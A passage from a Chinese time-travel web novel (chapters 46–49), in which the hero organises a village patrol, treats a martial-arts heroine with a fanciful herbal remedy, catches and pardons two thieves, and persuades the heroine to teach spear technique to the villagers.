“莫说是让我罗飞抵御响马野兽,就是薛大哥你想当皇帝,我也敢提着刀跟你杀进皇城,把那皇帝老儿从龙椅上拽下来!”
“罗飞兄弟慎言!”
见罗飞越说越过火,薛猛惊出一身冷汗,连忙打断了对方的话。
倒不是他怕。
而是他压根没想过当皇帝。
前世戎马一生,手上沾满鲜血,他打心底里已经厌倦了打打杀杀。
手刃宋大龙,血洗李庄,也是被逼无奈之举。
如今穿越古代,他最想要的,是想打造一个属于自己的安乐窝。
同时尽自己所能,让身边人过得好一些,不用受盗匪、饥寒侵扰。
搞搞钱,种种田,老婆孩子热炕头,三五好友喝小酒,岂不为美?
至于当皇帝拯救天下苍生……
这担子太重,他真不想担!
“咱们组建巡猎队,只是为了保护村子。”
“不是为了跟朝廷对着干。”
“至少目前不是,懂了吗?”
罗飞也知道自己有些激动过头,摸着后脑勺傻笑点头:“嘿嘿,懂了。”
目前不是,那以后是呗?
这不就是师父常说的韬光养晦吗?
他可太懂了!
“有这等好差事,贤侄为何不叫上老夫?”
老杨树轻轻晃动,几片树叶落下。
薛猛抬起头,只见一个虬髯大汉抱着虎头砍刀,半躺在树杈中间,嘴里叼着根狗尾草,悠闲地晃着二郎腿。
“郑叔,您还没回县衙?”
村民离开薛家的时候,郑灵均也跟着告辞了。
本以为他已经回县衙去了。
没想到,居然在老杨树上猫着。
“我在县衙,做的本就是缉捕响马之事。”
“既然你们村子将有响马前来袭扰。”
“我不妨在这里多住些时日,替你们扫平这帮响马。”
“那敢情好!”
郑灵均的刀法,薛猛亲自领教过。
别看他侥幸胜过郑灵均一刀,但那是他运用了杠杆原理,侥幸以巧劲获胜。
真要论战场厮杀,郑灵均可是名副其实的白虎军“百人斩”,未必比薛猛逊色。
不提别的,至少在刀法上,郑灵均算是顶尖高手。
“好!算上我自己,现在咱们卧虎山巡猎队就有三个人了,但仅靠我们三个远远不够,咱们得从村子里挑选一些好苗子,训练出一支真正具有战斗力的队伍!”
“不管谁响马,还是野兽,若是胆敢犯我家园,我等必杀他个片甲不留!”
薛猛虎目精芒闪烁,声音掷地有声。
“好!杀他们个片甲不留!!”
闻言,罗飞和郑灵均皆是热血沸腾。
第46章 成立指挥中心
当天下午,薛猛在自家后院,成立了巡猎队指挥中心。
并亲手做了个沙盘和一些小军旗。
沙盘上,立体显示着卧虎村的地形地貌,卧虎村周边的险要与薄弱点,全都被薛猛用各色军旗进行了标记。
郑灵均、徐守业、老白头三个久经沙场的白虎军老兵,也是头一回见着这新鲜玩意儿。
全都像看稀奇一样,围绕着沙盘摸摸这,看看那儿。
“嘿呀!这可是个好东西啊,可比舆图清楚多了!”
“可不是嘛,简直就是一目了然!咱当年行军打仗要是有这玩意儿就好了!”
“薛贤侄,有时候我真怀疑,你是不是神仙下凡呐!”
“这脑瓜子怎么就这么灵光,总能想到一些我们闻所未闻的东西!”
“先是狼牙箭,现在又是这沙盘,你简直就是天生的打仗奇才啊!”
三个老头儿围绕着沙盘,看得是啧啧称奇,对薛猛是越来越佩服了。
薛猛不置可否地笑了笑。
不过就是个沙盘而已,都能让他们稀罕成这样。
看来大虞的军事水平,估计也和冶炼水平、医疗水平一样拉胯。
薛猛抬手指了指沙盘:“如今李庄的地契尽在我手,卧虎山的树木都可以砍伐!”
“等我大舅哥从青牛村回来,我会让他分出一部分人,砍伐树木,采挖青石,在村子周围修建寨墙,并在险要之处修建箭楼和瞭望塔。”
“而村西、村东、村南、村北进出要道,属于薄弱点,无险可守,至少需要五名刀手,五名弓弩手,五名投掷手,五名长枪手分别镇守!”
闻言,徐守业点点头,认为薛猛这样的安排,十分妥当。
薛猛抬眼看向郑灵均:“郑叔刀法一流,刀手就由郑叔你来选拔和训练。”
“咱们现在武器不够,训练暂时用木刀,刀手需要与敌人短兵相接,非勇猛者不可居之。”
转而又对站在老白头身后的罗飞说道:“罗兄弟飞刀手段了得,投掷手就由罗飞兄弟来选拔和训练,主要练习投掷重物,暂时可用石头和沙袋训练,投掷手十分重要,将来我有大用!”
“弓手就由我亲自来训练,至于长枪手我另有人选!”
“二位,卧虎村兴亡,在此一举,拜托了!”
说完,薛猛朝郑灵均和罗飞拱了拱手,眼中寄予厚望。
“薛大哥,包在我身上吧!”
罗飞拍了拍胸膛,一双牛眼瞪得老大,眼底闪着光。
“得令!”
郑灵均目光湛湛,下意识拱手领命。
此情此景,仿佛又回到了当年的白虎军营。
徐守业看着在沙盘前指点江山的薛猛,怔怔出神。
薛猛发号施令的样子,与当年某位故人颇有几分神似。
但彼此又有不同。
薛猛似乎比那位故人,更加敢想敢做,也更加年轻!
徐守业不禁有些恍惚,内心那个大胆的念头,越来越清晰。
罗飞和郑灵均各自领命离去。
薛猛转而对老白头说道:“白叔,你们铁艺坊那边,抓紧烧制焦炭,能不能炼出钢铁,打造钢刀和连弩,就靠这焦炭了!”
“放心吧,我已经让秦朗他们去买石炭了,按你说的干馏法,应该这几天就能烧出焦炭。”
老白头目露狐疑:“不过,这焦炭,真能炼出钢铁吗?”
薛猛轻笑道:“到时候不就知道了!”
徐守业捋了捋胡须,对薛猛问道:“长根儿,你打算让谁来训练长枪手?”
“除了她,还能有谁。”
薛猛神秘一笑。
徐守业点点头,立即会意了薛猛的意思。
“不过她好像病了。”
薛猛闻言一愣:“是吗?那我得去看看她!她救了雅娴,我还没好好感谢她呢!”
……
“你挺能耐啊,单枪匹马,就敢闯李庄救人。”
“还砍了金刀大王周鹤的头!”
裴家,茅坑外。
薛猛看着两个若隐若现的屁股蛋子说道。
“滚!人家在拉屎!”
一个透着羞愤的清冷声音响起。
薛猛笑了笑:“我当然知道你在拉屎,而且还知道你拉屎很困难,我是特地来帮你的,作为你救我娘子的答谢。”
“我救林嫂子,是因为上次你射杀棕熊,救了我一命,替我大哥二哥三哥报了仇!”
“这次咱们算扯平了!”
“本来还以为你改过自新了,成了英雄好汉,没想到还是和当年一样厚颜无耻!居然偷看人家拉屎!你信不信我告诉林嫂子,让她收拾你!”
裴红玉火冒三丈。
要不是这几天肚子疼得要死,疼得她一点力气都没有,她现在非得冲出去,把薛猛摁粪坑里让他吃自己的屎!
想她裴红玉在卧虎村也算是一霸,村里没有任何男人敢多看她一眼!
哪怕是李贺这种人,都不敢撩拨她!
薛猛这个混蛋,却一而再再而三触碰她的底线,先是偷看她洗澡,现在又偷看她拉屎!
自己还没出嫁,就被这王八蛋看光了!
她裴红玉什么时候受过这等委屈?
“你再不走,信不信我一个屁崩你身上!”
“行行行,好心当成驴肝肺,我走不就行了!不过我得提醒你一句,你体内的火毒若不及时根除,不出半个月,你的小屁屁可就不只是拉不出屎那么简单了!”
“那可是整个屁屁都要烂掉,长疮流脓血,啧啧啧,到那时候,你就算求哥帮你,哥也无能为力了!”
薛猛摊了摊手,转身就走。
“慢着!”
裴红玉心头大惊。
薛猛是怎么知道,她身中火毒的?
当年,裴红玉的师父为了帮她打熬筋骨,每日都要将她的骨头打断,而后通过烈性药物使骨折的骨头重新愈合。
久而久之,骨头就会变得更加坚硬粗壮。
在师父的残酷训练下,裴红玉的力量越来越强,但却因此落下病根,体内残留了太多药毒,性情也越来越暴躁。
后来裴红玉找了不少郎中,想要根除体内的火毒。
但全都无济于事。
甚至越医越严重。
这么多年来,裴红玉深受火毒折磨,却从未对任何人说起,连她爹都不知道。
薛猛又是如何得知?
“你到底看出些什么?”
事关自己病情,裴红玉强忍心中羞愤,咬牙问道。
“你每次至少要在茅坑折腾半个钟头。”
薛猛蹲下身,端详着裴红玉的眼周:“我观你眼周浮肿泛红,黄腻带赤。”
“此乃湿热蕴结,热毒炽盛之相!”
“你应该是早年间学习了某种过于刚猛的武功,或是为了打熬筋骨,滥用烈性药物。”
“导致火气滞留经脉,郁积体内,化火为毒。”
“初期表现为性情暴躁,长期便秘!”
“若不能及时化解,火毒必然愈积愈多,最后……屁股流脓,毒发而亡!”
“啊?!”
这么严重?
被薛猛仔仔细细看了眼周,裴红玉俏脸通红,羞愤地咬着牙,特别想发火,但薛猛说的这些症状,又完全正确!
别人都说她裴红玉天生神力。
殊不知,她的神力,是牺牲健康换来的!
每施展一次所谓的神力,她的病情就会加重!
不光是肚子痛拉不出屎,甚至有时候屁屁疼得她夜不能寐,连坐都不敢坐。
那种生不如死的感觉,让她学会了冷面示人,受再重的伤,流再多的血,她都可以面不改色!
因为她每次上茅房,都在经历常人难以忍受的疼痛和流血!
“裴姑娘,需要我帮你吗?不需要的话,我现在就走!”
“你要怎么帮我!”
裴红玉咬了咬牙,这种极为私密的事情,薛猛怎么帮?
“你先进屋洗干净,我再帮你!你现在……臭臭的!”
“!!!”
听到这话,裴红玉的脸色瞬间涨红如猪血,恨不得把薛猛脑袋拧下去丢进茅坑。
第47章 裴红玉挺肉实
片刻后。
薛猛来到了裴红玉的闺房。
别的女孩子,闺房一般都有梳妆台和纱幔之类的,裴红玉的闺房里面啥也没有,就一张破床。
甚至连枕头都没有,一杆红缨枪横在床头,就是她的枕头。
看见这房间里的布置,薛猛摇头苦笑。
这怎么比老爷们儿还糙啊!
“你是第一个进入我闺房的男人。”
裴红玉这话说得还挺傲娇。
“说得好像我稀罕来你这儿一样。”
薛猛伸手拍了拍裴红玉的屁股:“赶快把裤子脱了,趴床上!”
“你说什么?!”
裴红玉冰眸圆瞪,眼含杀气,杀薛猛的心都有了。
“你不脱,那我走!”
薛猛耸了耸肩,作势就要转身出门。
自己好心给她治病。
她还凶巴巴的!
“不许走!”
一想到自己这些年经受的折磨,裴红玉眼圈红润,一咬牙,豁出去了!
大不了让薛猛试试!
被这流氓看光,总比火毒发作屁股流脓好!
“薛猛,我有言在先!你若是真的治好了我,你就是我裴红玉的恩人!”
“你若是敢耍我,我会把你千刀万剐,丢进粪坑,让你永世不得翻身!”
说完,身后传来一阵窸窸窣窣脱衣服的声音。
薛猛一扭头,眼前一幕让他不由得虎躯一震。
虽然在茅坑外面,能隐隐约约看见一点点。
但这样肥润完整的样子,他还是头一回见。
咕咚。
薛猛忍不住咽下口唾沫,润了润发干的嗓子。
“你可真够肉实的。”
“以后嫁出去,哪个男人受得了啊!”
“反正不会嫁给你!快点儿!!”
裴红玉脸红得能滴出血,后槽牙都快咬碎了。
薛猛取出提前准备好的一罐药泥,扣出一团,缩成条状,塞入裴红玉患处。
“啊!混蛋……你在干什么?!”
“别动!”薛猛大吼。
“这是用蛇床子、苦楝树根、熊胆、甘草磨成末,用蜂蜜煎后做成的药泥,过段时间会被你的肠道融化吸收!”
“吸收完了,你明天拉屎就舒畅了!”
见薛猛说得煞有介事,裴红玉强压下心中怒火,乖乖趴着任由薛猛治疗。
还别说。
那药泥确实凉凉的。
刚放进去就舒服多了。
“得亏我之前留了一点熊胆。”
“不然你这毛病,还真治不了。”
“以后每隔三天,来找我帮你上一次药,坚持半个月,差不多就能根治。”
来到屋外,薛猛洗了洗手,若无其事地说着。
突然颈子一凉,一把刀抵住了他的咽喉。
身后,响起裴红玉冰冷的声音:“今晚的事情,决不能让第三个人知道!”
薛猛不怒反笑:“想让我给你保密?行啊,那你得答应我一件事情!”
裴红玉缓缓收回刀子,冷冷看着薛猛:“什么事?”
“明天早上,打谷场见!带上你的红缨枪,来了我再跟你细嗦!”
说完,薛猛离开了裴家。
“……”
看着薛猛远去的背影,裴红玉冰冷眸子顿时柔和了下来。
想起薛猛今晚对她做的事情,脸红不已。
“这个臭流氓!”
“总有一天,我也要把你扒光,让你趴着任我摆布!”
……
林雅娴提着灯笼,站在门口等着薛猛。
见薛猛回来,问道:“相公,你去哪儿了?”
“嘿嘿,去办了件大事儿!”
薛猛随手搂住林雅娴的小腰,在林雅娴的脸蛋上亲了一口,腻歪道:“老婆,想我没?”
林雅娴哼哼唧唧,满脸不高兴:“我听张婶说,她看见你去裴姑娘家了,都进人家闺房了,半个时辰才出来。”
“这张婶,居然还打起小报告了,回头看我不扣她工钱!”
薛猛嘴上是这么说,但扣工钱这事儿他还真干不出来。
“相公,这么说,张婶说的都是真的,你真的去裴姑娘闺房待了半个时辰?”
“是又如何?”
薛猛故意逗逗林雅娴,想看她什么反应。
“相公,我是支持你多纳几个妾的。”
“但凡事有个先来后到,瑾儿妹子可还等着你娶她过门儿呢!”
“你可倒好,又去撩拨裴姑娘去了!岂不教瑾儿妹子寒了心?”
薛猛一拍脑袋:“你不说我还真忙忘了,是得抽个时间,把这小老婆娶回来了。”
“有你这句话,我就放心了。进屋洗洗睡吧。”
夫妻二人洗白白钻进被窝。
林雅娴立马换了一副模样,凑近薛猛耳边,柔媚地叫起了薛猛的小名:“长根儿,今晚跟嫂嫂好好说说贴心话吧。”
“以后家里姐妹多了,咱俩可就没办法说悄悄话了。”
薛猛就喜欢林雅娴这种反差。
人前贤惠知礼,到了晚上,嘿嘿嘿……
薛猛把林雅娴搂在怀里,脸贴脸说着热乎话:“瞧你这话说得,你林雅娴永远是我大老婆,不管以后我薛猛娶再多小老婆,你永远是第一夫人。”
“雅娴,你是我第一个女人。”
“男人对自己的第一个女人,是一辈子都忘不了的。”
林雅娴依偎在薛猛怀里,咬着薛猛耳朵嗫喏道:“你也是我第一个男人,我这辈子也忘不掉你。”
二人说着说着。
灯就熄了。
两口子黑灯瞎火使劲儿捣鼓了一番,这才心满意足相拥而眠。
“这姓薛的可真能折腾啊,愣是把那娘们儿弄得哼唧了半宿。”
“低声些,莫要惊醒了他,快找找,银子放在哪儿呢?”
“怕什么,他刚才那顿折腾,就是头牛也该睡死了。再说了,我给他们茶壶里下了醉仙桃花粉,他们现在正做美梦呢。”
“怪了,这银子到底放在哪里啊,怎么找不见啊。”
屋里一片漆黑,两道鬼鬼祟祟的身影,如垂丝蜘蛛般灵巧,靠着一根麻绳,缓缓从屋顶房梁上垂下。
“诶!这里有个红木盒子,银子肯定在里面!”
“走啦,拿了银子就行,莫要害他性命,这小子还算是个好人。”
“行。”
两道黑影抱着红木盒子,正准备顺着麻绳爬上房顶,远走高飞。
却听黑暗中,传来茶具磕碰的声音。
薛猛坐在凳子上,端起桌上的茶壶,倒了一杯茶,浅浅喝了一口。
一双虎目,在黑夜中也能看清两人,他已经看这两货“表演”半天了。
“醉仙桃花粉确实可以让人一梦到天亮。”
“可惜我泡的是甘草茶。”
“二位朋友既然来了,何必急着走,下来坐坐吧。”
???
吊在半空中的两道黑影,听闻此言,瞬间额角冒汗。
上也不是,下也不是。
“坐你妈个头!”
“跑!”
两道黑影登上房梁,纵身一跃,灵巧如猫,从房顶天窗掠了出去。
薛猛并没有马上急着追出去。
这两个贼人显然是有备而来,而且看身手十分了得,自己硬追未必能追得上。
薛猛闭上眼,脑海里迅速浮现出自家附近的地形图。
每一条巷子、岔道,都在他的脑中完美复刻,立体呈现。
仅仅几秒钟,薛猛便已经推演出两个贼人逃跑的必经之路,嘴角冷笑凛然:“想跑,门儿都没有!”
……
“呼哧呼哧!”
“大哥,刚才好险呐!”
“那小子居然没中毒!”
两个贼人翻墙越户如履平地,在屋顶上上蹿下跳。
一路狂奔,来到了沧浪河畔。
回头看了看,不见有人追来,这才停下来喘口气。
“没中毒又怎样,他难不成还能抓住咱?”
“嘿嘿,也是!天底下能抓住咱的人还没生出来呢!大哥,快把盒子打开看看,有多少银子!”
两个贼人自鸣得意,满怀期待地将辛苦盗来的红木盒子打开。
当看见盒子里的东西,两双贼眼惊愕圆瞪。
里面根本不是银子。
而是几枚形状古怪的箭头。
“两个蠢货。”
二人正气恼不已,前方却忽然响起一声带着讥嘲的冷笑。
循声抬头看去,一个身着玄袍,背着箭筒,手拿长弓的大帅比,正坐在桥头青石上,等着他们。
“你……”
“你什么时候追上来的!”
两个贼人眼神惊诧。
薛猛冷冷笑道:“对付你们,还需要追?”
“说吧,你们到底是什么人!”
“我们不是人,我们是贼!听说卧虎村薛猛发了财,特来讨些银子花花!”
两个贼人不以为耻,反以为荣。
说这话时,两个贼人手里抓着一把石灰,朝薛猛撒去,随后二人分头朝两边跑去。
配合十分默契。
薛猛蒙住眼睛,待得石灰散去,两个贼人已是没了踪影。
“哼,整个卧虎村都在我的掌握之中,你们再怎么跑,也跑不出我的手掌心!”
第48章 立功者,有赏!
卧虎村就像是棋盘。
而这两个贼人就是两颗棋子,他们能走的路径,早已被薛猛推算到了最后一步。
“正好借这两枚棋子,给巡猎队的崽子们练练手!”
薛猛起了玩心,从背后抽出一支响箭,对着天上射去。
“咻!”
响箭嘶鸣,划破黑夜。
驻守在村里要道的郑灵均、罗飞,立即带着今天刚选拔出来的刀手、投掷手前去迎敌。
后半夜,两个贼人经历了职业生涯最黑暗的时刻。
这辈子他们都没见过这么邪门儿的事情。
不管他们从哪个方向出村,都有人在路口等着他们。
村西,神箭薛猛在桥头坐着。
村东,遇到个使虎头砍刀的虬髯大汉,看样子就不好惹。
村北,撞上个丢飞刀的牛眼汉子,看他岁数不大,以为可以占便宜,结果差点被飞刀扎死。
一直东奔西逃,仓皇逃窜,跌跌撞撞跑到村南,总算没人守着了。
但两个贼人却已经吓破了胆,根本不敢走这条路。
“大哥,这卧虎村,真踏马邪门儿啊!”
“我怎么感觉,他们故意设了圈套,等着咱们往里钻啊?”
“前面的路好像没有人守着,但说不定有埋伏等着咱们呢!”
“没错,越是看着安全的地方,往往越危险!”
“那咱们咋办!”
“走水路,从河里游出去!”
两个贼人特意找了个远离桥边的河湾。
本以为可以躲过守在桥上的薛猛。
哪曾想刚下水,水里就冒出七八道赤条条的人影,恍若狰狞水鬼,手拿绳索和砍刀,将他们团团围住。
“卧虎村捕鱼队张水在此,贼人休走!”
两个贼人满脸绝望。
只能束手就擒。
不多时,薛家后院巡猎队指挥中心,灯火通明。
两个贼人被捕鱼队五花大绑,连打带踹推了进来。
“跪下!”
张水手拿鱼叉,一连两脚踹在两个贼人腿弯上。
噗通一声,两个贼人腿一软跪在了薛猛面前。
“薛大哥,你真是料事如神啊,你怎么知道,这两个家伙会从下河湾逃跑?”
“我们按你吩咐在水里猫着,没一会儿他们就下来了,被我们抓了个正着!”
张水满脸崇拜地看着薛猛。
薛猛指了指旁边的沙盘:“卧虎村的地形我早已烂熟于心。”
“我先在村西桥头,等着他们。”
“村东有郑叔把守,村北有罗飞把守。”
“村南虽无人镇守,但经过我们三个的威吓,这两个贼人已经吓破了胆,必然起了疑心,不敢轻动!”
“上天无路,入地无门,被逼无奈之下,他们只能走水路!”
“而沧浪河水流湍急,只有下河湾水势平缓,他们只能从那里逃跑!”
“哈哈,好一个瓮中捉鳖!长根儿,真有你的!”
徐守业捋了捋胡须,哈哈大笑。
“这并不是我一个人的功劳。”
“而是大家团结的力量,今天大家表现都不错,每人赏一两银子,两斤肉!”
听到薛猛这话,巡猎队众人皆是备受鼓舞,激动得不行。
尤其今天刚刚加入巡猎队的村民,明明啥也没干,就跟着郑灵均、罗飞往路口一站,就把两个贼吓破了胆。
他们以前被李家欺负的时候,从未想过自己有一天,也能这么威风!
这一切,都是薛猛带给他们的!
众人看向薛猛的眼神,愈发崇敬炽热。
好像只要跟着薛猛,就什么也不怕了!
立了功,还有赏银,有肉!
众人心中都巴不得再多为薛猛立些功劳!
见大家的积极情绪被调动了起来,薛猛紧接着又给大家打个预防针:“不过大伙儿也不要掉以轻心,一定要抓紧操练!”
“从明天开始,捕鱼队三天打鱼,两天休息,跟着巡猎队学习拳脚、刀法!”
“巡猎队更要勤加训练,分成两组,日夜巡视村子周围!”
“修建瞭望塔和寨墙,没有三五个月难以完工,所以在此之前,大家务必小心提防!”
“今天来的不过是两个小毛贼,日后若是有猛兽下山,甚至响马来袭,希望大家也能像今天这样,精诚合作,共御外敌,保卫我们共同的家园!”
“是!!!”
在场众人齐声振臂高呼。
斗志昂扬,热血沸腾!
“薛大哥,那这两个玩意儿怎么处理?”
张水一指地上跪着,瑟瑟发抖,浑身湿透的两个贼人。
罗飞牛眼一瞪,拔刀喝道:“还能咋办,直接杀了干净!偷东西偷到薛大哥头上了,该杀!”
薛猛抬手拦住罗飞:“干啥呢,咱又不是土匪,动不动杀人。”
这两个贼人,并未伤人,只是为财而来。
虽然可恶,但还罪不至死。
薛猛打算问清楚,他们到底是什么来头,还有没有其他同伙。
“我不杀你们!但你们要告诉我,为什么要偷东西。”
“因为我们是贼啊,偷东西是我们的本职……”一个身形较为瘦弱的贼人怯怯道。
“噗呲!”
听闻此言。
在场众人全都乐了出来。
“你他喵还挺骄傲哇!”
薛猛一把扯下这贼人蒙在脸上的黑布。
黑布下的一张脸,却是看得薛猛一愣。
还挺清秀。
“女的?”
“别碰我妹子!有事冲我来!!要杀要剐,随你的便!放了我妹子!”
另外一个个子较高的贼人顿时开始猛烈挣扎叫喊起来。
“女的怎么了,女的偷东西,照样得打断手脚!”罗飞瞪眼道。
“不要!”
“求你们了!放了我妹子吧!”
“我们是从清河县逃难来的,小子姓寇单名一个达字,俺家妹子单名一个芳字。”
高个贼人眼含热泪,激动说着。
“老家被洪水冲没了。”
“我们一无本钱,二不识字,既无安身之所,又无立命之田,实在没了活路,只好捞上偏门!”
“拦路抢劫杀人放火我们干不得,只能靠偷了!”
“我们只取大户之财,绝不动贫苦百姓一毫一厘……”
说到伤心处,寇达声泪俱下。
同是贫家出身的张水等人顿时垂下了头,湿润了眼眶。
便是先前囔囔着要杀了贼人的罗飞,闻言也是一愣,不由得面露同情。
薛猛没好气道:“说的什么屁话!不偷大户你们偷啥?贫苦百姓家有个啥能偷的?”
“贼就是贼,没得洗!”
以前穷得叮当响,没见贼来。
现在好不容易有了点积蓄,就被贼惦记上了!
薛猛心里能不气吗?
寇芳咬牙道:“大哥,别求他们!”
“姓薛的,今日我们栽在你手里,要杀要剐,悉听尊便,我才不怕你!”
嗬!
还挺有骨气?
如今卧虎村人丁凋零,正是用人之际。
这寇家两兄妹身手不错,倒是可造之材。
先考察些时日,若他们能够改邪归正,诚心悔过,或许可堪一用。
念及此,薛猛负手道:“若是给你们一个重新做人的机会,你们还做贼吗?”
闻言,寇达眼前一亮。
“若真有这样的机会,傻子才愿意做贼呢!”
薛猛大手一挥道:“好,从现在开始,你们就是卧虎村村民,村南有间破草庐,你们就先住在那儿吧!”
“但死罪可免,活罪难逃!罚你们扫街三月,镇守村南入口!”
“今后若是再发现你们胆敢偷鸡摸狗,决不轻饶!”
寇达双目圆瞪,激动得手都在发抖。
薛猛不仅不杀他们!
居然还给他们安排住处,愿意收留他们!
寇芳也是眼眸惊颤,满脸难以置信。
“妹子,还不快拜谢恩公!”
砰砰砰!
寇达兄妹二人朝着薛猛纳头便拜,磕了三个响头。
五体投地,感激涕零!
薛猛给了他们重新做人的机会!
无疑于再生父母!
这三个响头,薛猛受得起!
薛猛背过身去,摆手道:“罗飞,给他们拿些被褥草席,带他们下去吧。”
“行!”
罗飞应承点头,割开寇达兄妹身上的绳子,将二人从地上搀扶起来。
“小妹子,以后别做贼了,跟着俺们薛大哥,前途大大滴有哇!”
罗飞拍了拍寇芳的肩膀:“刚才我说的那些话,你别放心上。”
“来了咱们卧虎村,咱就是一家人了,以后有什么需要可以跟我说。”
寇芳点头如捣蒜,感激得泪流满面。
第49章 裴红玉传枪
临出门前,寇达身形一顿。
回过头,眼含热泪,无比感激地看着薛猛的背影,郑重拱手道:“恩公宽宏大量,以德报怨,对我兄妹二人恩同再造。”
“今后我兄妹二人但凭恩公驱使,赴汤蹈火,在所不辞!”
说完,带着妹妹寇芳,跟着罗飞离开了薛家后院。
身后脚步声远去。
巡猎队众人看向薛猛的眼神,又多了几分敬重。
徐守业捋了捋胡须,深深看着薛猛,老眸精芒内敛。
此子,胸怀不凡呐!
“散了吧!明日打谷场集合,巡猎队正式开始训练!”
“是!”
薛猛一抬手,众人齐齐应声。
……
“裴家枪法不外传,这是祖训!想让我教他们枪法,绝无可能!”
翌日清晨,卧虎村打谷场上。
裴红玉态度强硬,拒绝了薛猛让他传授村民长枪术的要求。
“行,那我就把昨晚咱俩的事情公之于众。”
听到这话,旁边跟着罗飞和郑灵均练习投掷和劈砍的村民,全都竖起了耳朵。
薛猛和裴红玉能有啥事儿?
还不能告诉大家?
被这么多双眼睛盯着,裴红玉顿时脸色涨红。
咬了咬牙,恨不得把薛猛的嘴撕烂,但一想到自己的病,还得靠薛猛治,只能强压下心头怒火。
“裴家枪法确实不能外传,这是祖训,我本不该违背!”
“但你对我裴家有恩,我可以为你破一次例!”
“不过我家这枪法,不是什么人都能学的,若无天赋,就算我肯教,也没人学得会”
薛猛环视四周村民,轻笑道:“咱们这儿这么多人,总有几个有天赋的吧?”
“哼!那你们可都睁大眼睛看好了,姑奶奶只教一遍,能学到多少就看你们的悟性了!”
裴红玉轻哼一声,握枪在手,挺胸上前。
周围众人自觉退开,让出一块空地。
呼!
裴红玉深吸一口气,冰眸精芒内敛,视线与手中枪头平齐,蹬腿转腰,含胸拔背。
“裴家枪法,重在一个‘扎’字诀,辅以拦、拿、劈、崩、点!”
“讲求枪势连贯,攻防兼备!”
“所谓扎枪,乃枪术之根本,有直扎、斜扎、跳扎之分!”
啪!
裴红玉口中话犹未了,肩臂一抖,手中红缨枪已凌空刺击而出:“发力时以身带臂,以臂催枪,力达枪尖,如‘白蛇出洞’,强调快、准、狠!”
“下可扎敌胸腹,上可取敌咽喉!”
砰砰砰!
转瞬之间,空地上摆放的七八个木人,便被她手中长枪扎倒在地!
轰!
木屑纷飞!
木人胸口、咽喉部全被扎穿!
若是换了真人,不敢想象死得有多惨。
不愧是能够单杀金刀大王周鹤的狠人,本事果然了得!
薛猛虎目精芒闪烁,裴红玉果然没有让他失望,真乃虎女也!
紧接着,裴红玉又演示了拦、拿、劈、崩、挑、绞等高超技法。
手中铁枪犹如梨花乱舞,寒星飞迸。
凌冽罡风,带起阵阵沙尘,让人不敢靠近。
“好!”
“好枪法!”
罗飞看得目瞪口呆,带头鼓掌叫好。
就连郑灵均这位白虎军老兵,也是频频点头,眼中满是欣赏。
虽然大家都知道裴红玉曾经习过武,但还是头一回见裴红玉如此正式的演练枪法。
所有人都看呆了。
“行了,枪法已经传了。”
一套虎虎生风的裴家擒虎枪法演练下来,裴红玉擦了擦额前细汗,将红缨枪往前一递,扫视在场众人。
“谁来试试!看你们学到多少!”
现场顿时鸦雀无声,没有一个人敢回应。
罗飞尴尬道:“裴姑娘,你刚才那套枪法耍得太快了,咱们都没看清,怎么学啊!”
郑灵均也是低眉不语,月棍年刀一辈子枪,裴红玉年纪轻轻把枪使到这个地步,确实天赋异禀。
普通村民想要看一遍就学会这种枪法,根本就不可能!
“我说什么来着,没有天赋,硬学是学不成的!”
“薛猛,不是我不教,是这里没人学得会,这次你可不能怨我了!”
裴红玉冲薛猛冷嗤一声,转身就要走人。
“慢着!”
薛猛一抬手,剑眉倒竖:“把枪给我!”
裴红玉闻言一怔。
随即面带冷笑,将枪抛给薛猛:“怎么,你难不成想试试?那你试试吧,出了丑可别怪我!”
裴红玉压根就没想真心教这些村民枪术,故意耍一些复杂的花招套路,就是想让这些村民知难而退。
她不信薛猛看一遍,就能学会。
薛猛抬手接住红缨枪,缓缓迈步,拖着枪来到空地之中。
见薛猛要试练枪法,罗飞带着人连忙将倒地的木人扶起。
“依我看,你这枪法,太复杂,太花哨。”
薛猛冲裴红玉笑了笑,眼神似已看穿对方心思。
“若是江湖决斗,招式越多自然越唬人。”
“但若是战场厮杀,根本用不着那么多的花招,只需要最简单的扎刺与阵列配合,照样可以杀敌!”
说着,薛猛目光凛然如炬,双手握枪,径直朝着木人扎去。
砰砰砰!
没有任何花哨套路。
将裴红玉方才的那套枪法,取其精华,化繁为简,只留下最简单的刺和扎!
转瞬间,八个木人同样被刺翻在地。
“战场厮杀,一往无前,没有闪转腾挪的余地!”
“扎和刺就够了!其他招式,多余了!”
“你若诚心想教,与其耍这么套路,不妨讲讲如何握枪、如何发力,如何站枪桩这些真正货真价实的东西。”
“你守着祖训,不愿教真东西,我也不逼你,但我还是要告诉你,身处乱世,响马随时都有可能前来劫掠!”
“我们若不团结起来,说不定哪天咱们这个小村子就被毁掉了!”
“如果我们世世代代生存的家园不复存在,守着祖训又有什么用?”
薛猛反手将枪抛回给裴红玉。
说完,转身就走!
裴红玉抬手接住红缨枪,冰眸闪烁。
咬了咬牙,心中说不出的惊异和惭愧。
没想到,薛猛居然看破了她的心思!
还一下点出了枪法的精髓!
裴红玉缓缓抬起头,环顾四周愣神的村民,冷冷道:“薛猛说得对,其实我根本没想真心教你们!我刚才,是故意耍你们的!”
听闻此言,村民们神情失落。
郑灵均叹了口气,满脸无奈。
抵御响马,长枪手至关重要。
可惜他不擅枪棒。
有心无力。
“今天的训练到此为止,大家都散了吧!”
就在村民们准备离去时,裴红玉的声音再次响起。
“慢着!”
村民们停下步子,十几双眼睛齐齐看向裴红玉,不知道她想干什么。
正在旁边扫大街的寇达、寇芬兄妹俩,听到这话,也是不由得朝这边看了过来。
“我之前的确不想教大家,因为我不想违背祖训,但我现在明白了一件事情。”
“我一个人的力量再强,也比不上一百个人。”
“就像那日棕熊下山,若非薛猛出手,我恐怕已经命丧当场!”
“如果当时,大家都会长枪术,共同围猎棕熊,或许就不会死那么多人了!”
说着,裴红玉双膝一弯,扑通一声,竟然在众目睽睽之下跪倒在地。
“列祖列宗在上,不肖女裴红玉,今日斗胆违背祖训!传枪授艺,绝不藏私!”
郑灵均摸了摸颌下虬髯,与罗飞对视一眼,二人脸色均是一喜。
村民们眼神也都亮了起来。
“现在,有心跟我学枪的,全都拿起木枪,站过来!”
“我要教你们,真正的杀人技!”
裴红玉目光灼灼,收起了先前的高傲。
村民们纷纷拿起木枪,围了上去!
“啊……!”
“我的手好酸,裴姑娘……让我们歇会儿吧!”
薛猛刚走出不远,就听见打谷场上传来一声声叫苦不迭的惨叫。
暗自窃喜。
看来裴红玉终于肯放下架子,教村民真东西了。
不过真正的杀人技,可不是那么好练的,必然要脱层皮才能学会!
